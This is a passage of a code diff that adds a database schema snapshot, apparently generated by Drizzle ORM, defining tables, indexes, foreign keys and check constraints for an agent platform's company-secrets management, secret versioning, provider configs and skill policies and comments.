+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
